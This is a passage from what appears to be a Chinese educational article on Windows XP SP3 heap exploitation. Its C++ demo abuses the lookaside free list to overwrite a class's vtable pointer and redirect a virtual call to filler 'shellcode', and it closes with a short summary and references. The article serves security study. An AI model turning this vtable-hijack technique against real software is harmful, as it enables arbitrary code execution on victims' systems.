hp = HeapCreate(0,0x1000,0);//新创建一个堆块
__asm int 3;
//申请一样大小的三块，申请24.h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//将第一块内充满shellcode,memcpy(h1,"AAAABBBBCCCCDDDDEEEEFFFFGGGG",24);
test *testt = new test();
test *tp;memcpy(h3,testt,24);//将创建的类的结构拷贝到第三个堆块中去
//释放后将它们都会自动添加到lookaside链表中去。H3->h2->h1HeapFree(hp,0,h1);HeapFree(hp,0,h2);HeapFree(hp,0,h3);//添加完后，其虚函数的地址被修改为h1的地址//下面调用其虚函数。tp = (test *)h3;tp->testfunc();//此时执行的是0000AAAABBBB这些填充的shellcode
delete testt;
HeapDestroy(hp);return 0;
} |
本段堆溢出，覆盖了虚函数表指针，需要了解C++类的内存结构，我们在日后的文章里再分析C++类的内存结构（有兴趣可以看《0day》相关章节）。
程序首先开辟了一个堆区，并申请了3个堆块h1(0x3a1e90)，h2(0x3a1eb0)，h3(0x3a1ed0),之后向h1写入0x24字节的数据，将创建的类的结构拷贝到h3中去：
其中0x3a1ed0起始处的4个字节存储的是虚函数表的指针（虚函数表存储的是虚函数的指针）：0x4060b0。
之后释放这三个堆块，Lookaside[4]->h3->h2->h1
可以看到这个时候0x3a1ed0起始处的4个字节存储虚函数的指针变为h1：0x3a1eb0。
接下来调用类的虚函数testfunc(),实际调用的是0x3a1e90（0x3a1eb0指向0x3a1e90），实现了任意代码的执行。
6. 小结
本文分析了XP SP3的堆，对堆管理器的使用、堆漏洞的利用都进行了介绍。XP系统已经有了十几年的历史，本文叙述的许多知识不免过时，但也正是因为XP有着这么多年的历史，各路大神对其的研究也已经很详细，我们这些新人就能沿着前人走过的路，迅速掌握堆的知识，掌握堆分析研究的技巧。当然，本文只是抛砖引玉，更复杂堆的就在不远处等着我们呢。
参考资料：
《软件调试》
《0day安全》